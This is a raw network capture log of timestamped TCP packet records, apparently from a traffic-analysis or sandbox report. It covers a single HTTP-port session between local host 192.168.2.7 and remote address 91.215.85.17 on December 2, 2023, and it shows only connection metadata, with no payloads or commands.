Dec 2, 2023 18:01:43.878164053 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.878187895 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.878195047 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.878201962 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.878209114 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.878211021 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.878220081 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.878226995 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.878233910 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.878242016 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.878249884 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.878259897 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.878259897 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.878264904 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.878314018 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.878335953 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.878344059 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.878351927 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.878484964 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.878492117 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.878499031 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.878504038 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.878504038 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.878505945 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.878514051 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.878521919 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.878529072 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.878535986 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.878544092 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.878549099 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.878550053 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.878559113 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.878565073 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.878573895 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.878582954 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.878591061 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.878598928 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.878638983 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.878639936 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.878667116 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.878674030 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.878684998 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.878693104 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.878700972 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.878740072 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.878740072 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.878941059 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.878950119 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.878956079 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.878968954 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.878974915 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.878983021 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.878988981 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.878997087 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.879004955 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.879010916 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.879012108 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.879019976 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.879026890 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.879033089 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.879065990 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.879065990 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.879065990 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.879093885 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.879101038 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.879108906 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.879122019 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.879128933 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.879137039 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.879143953 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.879156113 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.879163980 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.879170895 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.879178047 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.879184008 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.879184008 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.879184961 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.879194021 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.879201889 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.879215002 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.879245996 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.879245996 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.879280090 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.879349947 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.879359007 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.879365921 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.879379034 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.879384995 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.879391909 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.879406929 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.879420042 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.879441977 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.879448891 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.879456043 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.879467010 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.879475117 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.879482985 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.879494905 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.879503012 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.879528999 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.879528999 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.879528999 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.879575014 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.879582882 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.879591942 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.879604101 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.879611969 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.879621029 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.879631996 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.879642963 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.879659891 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.879668951 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.879755020 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.879767895 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.879776001 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.879784107 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.879791975 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.879798889 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.879811049 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.879817963 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.879825115 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.879853964 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.879853964 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.879853964 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.879882097 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.879892111 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.879899025 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.879911900 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.879919052 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.879926920 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.879934072 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.879941940 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.880062103 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.880070925 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.880078077 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.880084991 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.880085945 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.880085945 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.880093098 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.880100965 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.880109072 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.880121946 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.880131960 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.880146980 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.880157948 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.880181074 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.880206108 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.880227089 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.880243063 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.880309105 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.880333900 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.880342007 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.880350113 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.880362988 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.880371094 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.880397081 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.880414009 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.880440950 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.880470037 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.880476952 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.880484104 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.880496025 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.880573988 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.880590916 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.880599022 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.880605936 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.880613089 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.880620003 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.880628109 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.880635023 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.880641937 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.880647898 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.880650043 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.880660057 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.880702019 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.880707026 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.880707026 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.880711079 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.880719900 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.880728006 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.880734921 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.880754948 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.880789995 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.880798101 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.880805016 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.880816936 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.880819082 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.880825043 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.880832911 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.880840063 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.880846024 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.880850077 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.880858898 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.880866051 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.880903006 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.880903006 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.880918980 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.880928040 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.880937099 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.880944014 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.880958080 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.880964994 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.880973101 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.880990028 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.881019115 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.881042957 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.881052017 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.881058931 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.881071091 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.881078005 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.881084919 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.881093025 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.881098986 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.881100893 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.881108046 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.881114006 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.881119967 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.881135941 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.881160975 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.881165981 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.881169081 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.881176949 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.881190062 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.881196022 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.881202936 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.881211042 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.881273985 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.881273985 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.881299019 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.881306887 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.881313086 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.881325960 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.881333113 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.881369114 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.881391048 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.881398916 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.881406069 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.881419897 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.881427050 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.881434917 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.881443977 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.881460905 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.881470919 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.881479979 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.881514072 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.881561041 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.881587029 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.881594896 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.881602049 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.881608963 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.881616116 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.881623030 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.881629944 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.881650925 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.881650925 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.881675959 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.881694078 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.881704092 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.881711006 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.881722927 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.881731033 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.881772995 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.881786108 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.881793976 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.881802082 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.881814957 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.881822109 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.881829023 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.881836891 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.881844997 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.881851912 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.881877899 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.881877899 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.881902933 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.881907940 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.881911993 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.881920099 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.881927967 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.881934881 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.881942034 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.881947994 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.881956100 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.881963015 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.881982088 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.881982088 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.881982088 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.882011890 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.882013083 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.882020950 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.882030010 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.882081985 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.882097960 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.882107019 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.882113934 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.882121086 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.882128000 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.882133961 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.882147074 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.882147074 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.882154942 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.882164001 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.882170916 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.882179976 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.882186890 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.882189989 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.882189989 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.882215023 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.882307053 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.882314920 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.882322073 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.882333994 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.882342100 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.882349014 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.882355928 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.882363081 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.882381916 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.882410049 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.882419109 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.882442951 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.882463932 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.882488966 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.882510900 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.882519960 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.882601023 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.882621050 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.882644892 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.882652998 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.882659912 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.882673025 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.882678986 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.882685900 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.882720947 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.882720947 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.882720947 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.882754087 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.882762909 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.882770061 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.882781982 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.882788897 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.882796049 CET	80	49713	91.215.85.17	192.168.2.7
